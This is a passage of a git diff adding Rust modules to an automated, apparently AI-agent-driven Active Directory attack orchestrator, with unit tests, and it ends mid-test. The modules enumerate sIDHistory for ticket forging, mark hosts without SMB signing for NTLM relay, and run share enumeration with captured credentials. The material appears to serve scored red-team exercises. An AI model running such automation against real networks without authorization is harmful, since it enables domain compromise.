(vuln_id format, vuln_type, target, details) shape can be +/// asserted without running the async dispatch loop. `priority = 3` and +/// `discovered_by = "sid_history_enum"` are fixed. +fn build_sid_history_vuln(principal: &str, domain: &str) -> ares_core::models::VulnerabilityInfo { + let vuln_id = format!("sid_history_{}", principal.to_lowercase()); + let mut details = std::collections::HashMap::new(); + details.insert( + "domain".into(), + serde_json::Value::String(domain.to_string()), + ); + details.insert( + "account_name".into(), + serde_json::Value::String(principal.to_string()), + ); + details.insert( + "note".into(), + serde_json::Value::String( + "Foreign-domain SID present in sIDHistory — \ + usable as --extra-sid in ticketer / Golden Ticket forge." + .into(), + ), + ); + ares_core::models::VulnerabilityInfo { + vuln_id, + vuln_type: "sid_history_abuse".to_string(), + target: domain.to_string(), + discovered_by: "sid_history_enum".to_string(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 3, + } +} + +/// Periodic SID-history discovery. Dispatches `ldap_search` deterministically +/// via the tool dispatcher (no LLM round-trip) since the query, filter, and +/// expected output shape are all fixed. +pub async fn auto_sid_history_enum( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(60)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("sid_history_enum") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_sid_history_work(&state) + }; + + for item in work { + let args = build_sid_history_payload(&item); + + let call = ToolCall { + id: format!("sid_history_{}", uuid::Uuid::new_v4().simple()), + name: "ldap_search".to_string(), + arguments: args, + }; + let task_id = format!( + "sid_history_{}", + &uuid::Uuid::new_v4().simple().to_string()[..12] + ); + + // Mark dedup BEFORE spawn so the next tick doesn't re-dispatch + // against the same domain. The bg task clears dedup on a + // transport-level failure so a later cred can retry. + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_SID_HISTORY, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_SID_HISTORY, &item.dedup_key) + .await; + + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "SID history enumeration dispatched" + ); + + let dispatcher_bg = dispatcher.clone(); + let domain_bg = item.domain.clone(); + let dedup_key_bg = item.dedup_key.clone(); + tokio::spawn(async move { + let result = dispatcher_bg + .llm_runner + .tool_dispatcher() + .dispatch_tool("recon", &task_id, &call) + .await; + match result { + Ok(exec) => { + if let Some(err) = exec.error.as_ref() { + warn!( + task_id = %task_id, + domain = %domain_bg, + err = %err, + "ldap_search for sIDHistory failed — clearing dedup" + ); + dispatcher_bg + .state + .write() + .await + .unmark_processed(DEDUP_SID_HISTORY, &dedup_key_bg); + let _ = dispatcher_bg + .state + .unpersist_dedup( + &dispatcher_bg.queue, + DEDUP_SID_HISTORY, + &dedup_key_bg, + ) + .await; + return; + } + let principals = parse_sid_history_output(&exec.output); + if principals.is_empty() { + debug!( + task_id = %task_id, + domain = %domain_bg, + "ldap_search returned no sIDHistory matches" + ); + return; + } + for principal in principals { + let vuln = build_sid_history_vuln(&principal, &domain_bg); + let vuln_id = vuln.vuln_id.clone(); + let _ = dispatcher_bg + .state + .publish_vulnerability(&dispatcher_bg.queue, vuln) + .await; + // Detection = achievement for the scoreboard token; + // the SID is already usable for ticket forging. + if let Err(e) = dispatcher_bg + .state + .mark_exploited(&dispatcher_bg.queue, &vuln_id) + .await + { + warn!( + err = %e, + vuln_id = %vuln_id, + "Failed to mark sid_history exploited" + ); + } else { + info!( + vuln_id = %vuln_id, + domain = %domain_bg, + account = %principal, + "sIDHistory primitive surfaced — exploit token emitted" + ); + } + } + } + Err(e) => { + warn!( + task_id = %task_id, + domain = %domain_bg, + err = %e, + "ldap_search dispatch errored — clearing dedup" + ); + dispatcher_bg + .state + .write() + .await + .unmark_processed(DEDUP_SID_HISTORY, &dedup_key_bg); + let _ = dispatcher_bg + .state + .unpersist_dedup(&dispatcher_bg.queue, DEDUP_SID_HISTORY, &dedup_key_bg) + .await; + } + } + }); + } + } +} + +/// Parse `ldapsearch` output for principals carrying a non-empty `sIDHistory` +/// attribute. Returns the deduplicated set of `sAMAccountName` values for +/// matching entries. A single LDIF block looks like: +/// +/// ```text +/// dn: CN=Migrated User,CN=Users,DC=... +/// sAMAccountName: migrated.user +/// sIDHistory:: +/// ``` +/// +/// We tolerate `sIDHistory` and `sIDHistory::` (base64) and `sIDHistory:` +/// (textual) plus arbitrary whitespace. +fn parse_sid_history_output(output: &str) -> Vec { + let mut current_sam: Option = None; + let mut current_has_sid_history = false; + let mut out: Vec = Vec::new(); + let mut seen = std::collections::HashSet::new(); + + for line in output.lines() { + let trimmed = line.trim_end(); + // Entry boundary: blank line or new `dn:` resets the in-flight block. + if trimmed.is_empty() || trimmed.starts_with("dn:") { + if let Some(sam) = current_sam.take() { + if current_has_sid_history && seen.insert(sam.to_lowercase()) { + out.push(sam); + } + } + current_has_sid_history = false; + continue; + } + if let Some(rest) = strip_attribute_prefix(trimmed, "sAMAccountName") { + if !rest.is_empty() { + current_sam = Some(rest.to_string()); + } + } else if strip_attribute_prefix(trimmed, "sIDHistory").is_some() { + current_has_sid_history = true; + } + } + // Flush the final block. + if let Some(sam) = current_sam { + if current_has_sid_history && seen.insert(sam.to_lowercase()) { + out.push(sam); + } + } + out +} + +/// Strip an LDIF-style attribute prefix (handles `name:`, `name::`, and +/// surrounding whitespace). Returns the value portion when the line is for +/// `attr_name`; returns `None` otherwise. Comparison is case-insensitive +/// because some LDAP servers normalise attribute case differently. +fn strip_attribute_prefix<'a>(line: &'a str, attr_name: &str) -> Option<&'a str> { + let lower = line.to_ascii_lowercase(); + let needle = attr_name.to_ascii_lowercase(); + let prefix = lower.strip_prefix(&needle)?; + // After the attribute name, expect `:` or `::` (base64 marker). + let after = prefix.trim_start(); + let after = after.strip_prefix(':')?; + // Optional second colon for base64 values. + let after = after.strip_prefix(':').unwrap_or(after); + // Map back from the lowercased view to the original slice so caller gets + // the case-preserving value. + let consumed = line.len() - after.len(); + Some(line[consumed..].trim()) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn cred(username: &str, password: &str, domain: &str) -> ares_core::models::Credential { + ares_core::models::Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn parse_extracts_account_with_sid_history() { + let output = "\ +dn: CN=Alice,CN=Users,DC=contoso,DC=local +sAMAccountName: alice +sIDHistory:: AQUAAAAAAAUVAAAAAQAAAAAA + +dn: CN=Bob,CN=Users,DC=contoso,DC=local +sAMAccountName: bob +"; + let principals = parse_sid_history_output(output); + assert_eq!(principals, vec!["alice".to_string()]); + } + + #[test] + fn parse_handles_multiple_principals() { + let output = "\ +dn: CN=Alice +sAMAccountName: alice +sIDHistory: S-1-5-21-1-2-3-1000 + +dn: CN=Carol +sAMAccountName: carol +sIDHistory:: AAAA +"; + let mut got = parse_sid_history_output(output); + got.sort(); + assert_eq!(got, vec!["alice".to_string(), "carol".to_string()]); + } + + #[test] + fn parse_skips_entries_without_sid_history() { + let output = "\ +dn: CN=Plain +sAMAccountName: plain + +dn: CN=Other +sAMAccountName: other +"; + assert!(parse_sid_history_output(output).is_empty()); + } + + #[test] + fn parse_handles_attribute_case_variants() { + let output = "\ +dn: CN=Alice +samaccountname: alice +SIDHISTORY:: AQID +"; + assert_eq!(parse_sid_history_output(output), vec!["alice".to_string()]); + } + + #[test] + fn parse_dedups_repeated_principals() { + let output = "\ +dn: CN=Alice +sAMAccountName: alice +sIDHistory: S-1-5-21-1-2-3-1000 + +dn: CN=Alice +sAMAccountName: ALICE +sIDHistory: S-1-5-21-9-9-9-1000 +"; + assert_eq!(parse_sid_history_output(output), vec!["alice".to_string()]); + } + + #[test] + fn parse_empty_output() { + assert!(parse_sid_history_output("").is_empty()); + assert!(parse_sid_history_output("# search result\nsearch: 2\n").is_empty()); + } + + #[test] + fn collect_empty_state_no_work() { + let state = StateInner::new("test-op".into()); + assert!(collect_sid_history_work(&state).is_empty()); + } + + #[test] + fn collect_requires_same_forest_cred() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Cross-forest cred only — should NOT produce work for contoso.local. + state + .credentials + .push(cred("alice", "P@ssw0rd!", "fabrikam.local")); // pragma: allowlist secret + assert!(collect_sid_history_work(&state).is_empty()); + } + + #[test] + fn collect_same_domain_cred_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(cred("alice", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_sid_history_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].credential.username, "alice"); + } + + #[test] + fn collect_dedup_skips_processed_domain() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(cred("alice", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_SID_HISTORY, "sid_history:contoso.local".into()); + assert!(collect_sid_history_work(&state).is_empty()); + } + + #[test] + fn collect_one_item_per_domain() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(cred("alice", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(cred("bob", "P@ssw0rd!", "fabrikam.local")); // pragma: allowlist secret + let work = collect_sid_history_work(&state); + assert_eq!(work.len(), 2); + } + + #[test] + fn strip_attribute_prefix_basic() { + assert_eq!( + super::strip_attribute_prefix("sAMAccountName: alice", "sAMAccountName"), + Some("alice") + ); + assert_eq!( + super::strip_attribute_prefix("sIDHistory:: AQID", "sIDHistory"), + Some("AQID") + ); + assert_eq!( + super::strip_attribute_prefix("dn: CN=Alice", "sAMAccountName"), + None + ); + } + + // collect_sid_history_work — same-forest fallback path + + #[test] + fn collect_same_forest_cross_domain_cred_falls_back() { + // child.contoso.local DC discovered with no matching cred; a credential + // for contoso.local (parent in same forest) should match via the + // `forest_root_of` fallback. `forest_root_of` requires both domains + // to be present in state.domains or state.domain_controllers, so we + // register both. + let mut state = StateInner::new("test-op".into()); + state.domains.push("contoso.local".into()); + state + .domain_controllers + .insert("child.contoso.local".into(), "192.168.58.20".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(cred("alice", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_sid_history_work(&state); + // Both DCs are eligible — contoso.local matches the same-domain + // branch, child.contoso.local hits the same-forest fallback. + assert_eq!(work.len(), 2); + let child = work + .iter() + .find(|w| w.domain == "child.contoso.local") + .expect("child.contoso.local missing — fallback didn't fire"); + assert_eq!(child.dc_ip, "192.168.58.20"); + assert_eq!(child.credential.domain, "contoso.local"); + } + + #[test] + fn collect_quarantined_principal_skipped() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(cred("alice", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.quarantine_principal("alice", "contoso.local"); + assert!(collect_sid_history_work(&state).is_empty()); + } + + #[test] + fn collect_skips_credentials_without_password() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // empty password — must be skipped. + state.credentials.push(cred("alice", "", "contoso.local")); + assert!(collect_sid_history_work(&state).is_empty()); + } + + // build_sid_history_payload + + fn work_item(cred_domain: &str, target_domain: &str) -> SidHistoryWork { + SidHistoryWork { + dedup_key: format!("sid_history:{target_domain}"), + domain: target_domain.into(), + dc_ip: "192.168.58.10".into(), + credential: cred("alice", "P@ssw0rd!", cred_domain), + } + } + + #[test] + fn payload_includes_required_fields() { + let payload = build_sid_history_payload(&work_item("contoso.local", "contoso.local")); + assert_eq!(payload["target"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["username"], "alice"); + assert_eq!(payload["password"], "P@ssw0rd!"); + assert_eq!(payload["filter"], "(sIDHistory=*)"); + assert_eq!(payload["attributes"], "sAMAccountName,sIDHistory"); + } + + #[test] + fn payload_omits_bind_domain_for_same_domain_cred() { + // Target == credential domain → no `bind_domain` key needed. + let payload = build_sid_history_payload(&work_item("contoso.local", "contoso.local")); + assert!(payload.get("bind_domain").is_none()); + } + + #[test] + fn payload_sets_bind_domain_for_cross_domain_cred() { + // Credential lives in parent, query targets child — ldapsearch needs + // `bind_domain` to construct the right bind DN. + let payload = build_sid_history_payload(&work_item("contoso.local", "child.contoso.local")); + assert_eq!(payload["bind_domain"], "contoso.local"); + } + + #[test] + fn payload_bind_domain_check_is_case_insensitive() { + // Mixed case on either side must be normalized before comparison — + // otherwise we'd emit a spurious bind_domain for `Contoso.local`/ + // `contoso.local`. + let item = SidHistoryWork { + dedup_key: "sid_history:contoso.local".into(), + domain: "Contoso.LOCAL".into(), + dc_ip: "192.168.58.10".into(), + credential: cred("alice", "P@ssw0rd!", "CONTOSO.local"), + }; + let payload = build_sid_history_payload(&item); + assert!(payload.get("bind_domain").is_none()); + } + + // build_sid_history_vuln + + #[test] + fn vuln_carries_required_scoreboard_tokens() { + let v = build_sid_history_vuln("migrated.user", "contoso.local"); + assert_eq!(v.vuln_id, "sid_history_migrated.user"); + assert_eq!(v.vuln_type, "sid_history_abuse"); + assert_eq!(v.target, "contoso.local"); + assert_eq!(v.discovered_by, "sid_history_enum"); + assert_eq!(v.priority, 3); + assert!(v.recommended_agent.is_empty()); + } + + #[test] + fn vuln_lowercases_vuln_id_principal() { + // Different casings of the same principal must collapse to one + // vuln_id so the scoreboard counts the primitive once. + let v1 = build_sid_history_vuln("Migrated.USER", "contoso.local"); + let v2 = build_sid_history_vuln("migrated.user", "contoso.local"); + assert_eq!(v1.vuln_id, v2.vuln_id); + } + + #[test] + fn vuln_details_populated() { + let v = build_sid_history_vuln("alice", "contoso.local"); + assert_eq!( + v.details.get("domain").and_then(|x| x.as_str()), + Some("contoso.local") + ); + assert_eq!( + v.details.get("account_name").and_then(|x| x.as_str()), + Some("alice") + ); + let note = v.details.get("note").and_then(|x| x.as_str()).unwrap(); + assert!(note.contains("sIDHistory")); + assert!(note.contains("extra-sid") || note.contains("--extra-sid")); + } + + #[test] + fn vuln_account_name_preserves_original_case() { + // vuln_id is lowercased for dedup, but account_name in details keeps + // the original casing — useful when the LLM later reads the entry. + let v = build_sid_history_vuln("Migrated.USER", "contoso.local"); + assert_eq!( + v.details.get("account_name").and_then(|x| x.as_str()), + Some("Migrated.USER") + ); + } +} diff --git a/ares-cli/src/orchestrator/automation/smb_signing.rs b/ares-cli/src/orchestrator/automation/smb_signing.rs new file mode 100644 index 00000000..909f41f0 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/smb_signing.rs @@ -0,0 +1,279 @@ +//! auto_smb_signing_detection -- bridge recon host data to VulnerabilityInfo. +//! +//! The SMB banner parser (`hosts.rs`) detects `(signing:True)` to mark DCs but +//! does NOT create VulnerabilityInfo objects for hosts with signing disabled. +//! This module scans `state.hosts` for non-DC hosts (signing:False is the default +//! for member servers) and publishes `smb_signing_disabled` vulns, which the +//! `ntlm_relay` module consumes to dispatch relay attacks. +//! +//! Pattern: mirrors `auto_mssql_detection` — scan host list, publish vulns. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::StateInner; + +/// Work item for SMB signing detection. +struct SmbSigningWork { + ip: String, + hostname: String, + domain: String, +} + +fn collect_smb_signing_work(state: &StateInner) -> Vec { + state + .hosts + .iter() + .filter(|h| { + // Non-DC hosts with SMB (port 445) likely have signing disabled. + // DCs enforce signing:True; member servers default to signing not required. + !h.is_dc + && !h.hostname.is_empty() + && !state + .discovered_vulnerabilities + .contains_key(&format!("smb_signing_{}", h.ip.replace('.', "_"))) + }) + .map(|h| { + let domain = h + .hostname + .find('.') + .map(|i| h.hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + SmbSigningWork { + ip: h.ip.clone(), + hostname: h.hostname.clone(), + domain, + } + }) + .collect() +} + +/// Scans discovered hosts for SMB signing disabled (non-DC Windows hosts). +/// DCs enforce signing; member servers typically do not. +/// Interval: 30s. +pub async fn auto_smb_signing_detection( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("smb_signing_disabled") { + continue; + } + + let work = { + let state = dispatcher.state.read().await; + collect_smb_signing_work(&state) + }; + + for item in work { + let vuln = ares_core::models::VulnerabilityInfo { + vuln_id: format!("smb_signing_{}", item.ip.replace('.', "_")), + vuln_type: "smb_signing_disabled".to_string(), + target: item.ip.clone(), + discovered_by: "auto_smb_signing_detection".to_string(), + discovered_at: chrono::Utc::now(), + details: { + let mut d = std::collections::HashMap::new(); + d.insert("target_ip".to_string(), json!(item.ip)); + d.insert("ip".to_string(), json!(item.ip)); + if !item.hostname.is_empty() { + d.insert("hostname".to_string(), json!(item.hostname)); + } + if !item.domain.is_empty() { + d.insert("domain".to_string(), json!(item.domain)); + } + d + }, + recommended_agent: "coercion".to_string(), + priority: dispatcher.effective_priority("smb_signing_disabled"), + }; + + match dispatcher + .state + .publish_vulnerability_with_strategy( + &dispatcher.queue, + vuln, + Some(&dispatcher.config.strategy), + ) + .await + { + Ok(true) => { + info!(ip = %item.ip, hostname = %item.hostname, "SMB signing disabled — vulnerability queued for relay"); + } + Ok(false) => {} // already exists + Err(e) => { + warn!(err = %e, ip = %item.ip, "Failed to publish SMB signing vulnerability") + } + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn make_host(ip: &str, hostname: &str, is_dc: bool) -> ares_core::models::Host { + ares_core::models::Host { + ip: ip.to_string(), + hostname: hostname.to_string(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc, + owned: false, + } + } + + #[test] + fn vuln_id_format() { + let ip = "192.168.58.22"; + let vuln_id = format!("smb_signing_{}", ip.replace('.', "_")); + assert_eq!(vuln_id, "smb_signing_192_168_58_22"); + } + + #[test] + fn domain_from_hostname() { + let hostname = "srv01.contoso.local"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "contoso.local"); + } + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_smb_signing_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_non_dc_host_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local", false)); + let work = collect_smb_signing_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].ip, "192.168.58.22"); + assert_eq!(work[0].hostname, "srv01.contoso.local"); + assert_eq!(work[0].domain, "contoso.local"); + } + + #[test] + fn collect_dc_host_skipped() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.10", "dc01.contoso.local", true)); + let work = collect_smb_signing_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_empty_hostname_skipped() { + let mut state = StateInner::new("test-op".into()); + state.hosts.push(make_host("192.168.58.22", "", false)); + let work = collect_smb_signing_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_already_discovered_vuln_skipped() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local", false)); + // Simulate existing vulnerability + state.discovered_vulnerabilities.insert( + "smb_signing_192_168_58_22".into(), + ares_core::models::VulnerabilityInfo { + vuln_id: "smb_signing_192_168_58_22".into(), + vuln_type: "smb_signing_disabled".into(), + target: "192.168.58.22".into(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details: std::collections::HashMap::new(), + recommended_agent: "coercion".into(), + priority: 5, + }, + ); + let work = collect_smb_signing_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_multiple_hosts_mixed_dc_and_member() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.10", "dc01.contoso.local", true)); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local", false)); + state + .hosts + .push(make_host("192.168.58.23", "srv02.contoso.local", false)); + let work = collect_smb_signing_work(&state); + assert_eq!(work.len(), 2); + let ips: Vec<&str> = work.iter().map(|w| w.ip.as_str()).collect(); + assert!(ips.contains(&"192.168.58.22")); + assert!(ips.contains(&"192.168.58.23")); + assert!(!ips.contains(&"192.168.58.10")); + } + + #[test] + fn collect_host_without_fqdn_gets_empty_domain() { + let mut state = StateInner::new("test-op".into()); + state.hosts.push(make_host("192.168.58.22", "srv01", false)); + let work = collect_smb_signing_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, ""); + } + + #[test] + fn collect_skips_vuln_keeps_clean() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local", false)); + state + .hosts + .push(make_host("192.168.58.23", "srv02.contoso.local", false)); + // Only 192.168.58.22 has existing vuln + state.discovered_vulnerabilities.insert( + "smb_signing_192_168_58_22".into(), + ares_core::models::VulnerabilityInfo { + vuln_id: "smb_signing_192_168_58_22".into(), + vuln_type: "smb_signing_disabled".into(), + target: "192.168.58.22".into(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details: std::collections::HashMap::new(), + recommended_agent: "coercion".into(), + priority: 5, + }, + ); + let work = collect_smb_signing_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].ip, "192.168.58.23"); + } +} diff --git a/ares-cli/src/orchestrator/automation/smbclient_enum.rs b/ares-cli/src/orchestrator/automation/smbclient_enum.rs new file mode 100644 index 00000000..f01cf836 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/smbclient_enum.rs @@ -0,0 +1,745 @@ +//! auto_smbclient_enum -- authenticated SMB share listing per domain. +//! +//! Complements auto_share_enumeration by using authenticated sessions to +//! discover shares that require credentials. Uses smbclient or netexec +//! to list shares on all known hosts. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect SMB enumeration work items from current state. +/// +/// Pure logic extracted from the async loop so it can be unit-tested +/// without a Dispatcher or runtime. +fn collect_smbclient_work(state: &crate::orchestrator::state::StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for host in &state.hosts { + // Check if host has SMB + let has_smb = host.services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("445") || sl.contains("smb") || sl.contains("cifs") + }); + if !has_smb { + continue; + } + + let dedup_key = format!("smb_auth_enum:{}", host.ip); + if state.is_processed(DEDUP_SMBCLIENT_ENUM, &dedup_key) { + continue; + } + + // Infer domain from hostname + let domain = host + .hostname + .find('.') + .map(|i| host.hostname[i + 1..].to_string()) + .unwrap_or_default(); + + // Pick a credential for this domain + let cred = match state + .credentials + .iter() + .find(|c| { + !domain.is_empty() + && c.domain.to_lowercase() == domain.to_lowercase() + && !c.password.is_empty() + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .or_else(|| { + state.credentials.iter().find(|c| { + !c.password.is_empty() + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + }) { + Some(c) => c.clone(), + None => continue, + }; + + items.push(SmbEnumWork { + dedup_key, + target_ip: host.ip.clone(), + hostname: host.hostname.clone(), + domain, + credential: cred, + }); + } + + items +} + +/// Dispatches authenticated SMB share enumeration per host. +/// Interval: 45s. +pub async fn auto_smbclient_enum(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("smbclient_enum") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + let items = collect_smbclient_work(&state); + if items.is_empty() { + continue; + } + items + }; + + for item in work { + let payload = json!({ + "technique": "authenticated_share_enumeration", + "target_ip": item.target_ip, + "hostname": item.hostname, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("smbclient_enum"); + match dispatcher + .throttled_submit("recon", "recon", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + host = %item.target_ip, + "Authenticated SMB share enumeration dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_SMBCLIENT_ENUM, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_SMBCLIENT_ENUM, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(host = %item.target_ip, "SMB auth enum deferred"); + } + Err(e) => { + warn!(err = %e, host = %item.target_ip, "Failed to dispatch SMB auth enum"); + } + } + } + } +} + +struct SmbEnumWork { + dedup_key: String, + target_ip: String, + hostname: String, + domain: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::orchestrator::state::SharedState; + + /// Helper: create a credential for tests. + fn make_cred(user: &str, pass: &str, domain: &str) -> ares_core::models::Credential { + ares_core::models::Credential { + id: format!("c-{user}"), + username: user.into(), + password: pass.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + /// Helper: create a host with given services. + fn make_host(ip: &str, hostname: &str, services: Vec<&str>) -> ares_core::models::Host { + ares_core::models::Host { + ip: ip.into(), + hostname: hostname.into(), + os: String::new(), + roles: vec![], + services: services.into_iter().map(String::from).collect(), + is_dc: false, + owned: false, + } + } + + // ---- collect_smbclient_work tests ---- + + #[tokio::test] + async fn collect_empty_state_returns_nothing() { + let shared = SharedState::new("op-test".into()); + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_no_credentials_returns_nothing() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp microsoft-ds"], + )); + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_no_smb_hosts_returns_nothing() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "web01.contoso.local", + vec!["80/tcp http", "443/tcp https"], + )); + state + .credentials + .push(make_cred("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_single_host_single_cred() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp microsoft-ds"], + )); + state + .credentials + .push(make_cred("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.10"); + assert_eq!(work[0].hostname, "dc01.contoso.local"); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].dedup_key, "smb_auth_enum:192.168.58.10"); + } + + #[tokio::test] + async fn collect_multiple_hosts() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp microsoft-ds"], + )); + state.hosts.push(make_host( + "192.168.58.20", + "srv01.contoso.local", + vec!["445/tcp smb", "80/tcp http"], + )); + state + .credentials + .push(make_cred("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert_eq!(work.len(), 2); + let ips: Vec<&str> = work.iter().map(|w| w.target_ip.as_str()).collect(); + assert!(ips.contains(&"192.168.58.10")); + assert!(ips.contains(&"192.168.58.20")); + } + + #[tokio::test] + async fn collect_dedup_skips_already_processed() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp microsoft-ds"], + )); + state.hosts.push(make_host( + "192.168.58.20", + "srv01.contoso.local", + vec!["445/tcp smb"], + )); + state + .credentials + .push(make_cred("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_SMBCLIENT_ENUM, "smb_auth_enum:192.168.58.10".into()); + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.20"); + } + + #[tokio::test] + async fn 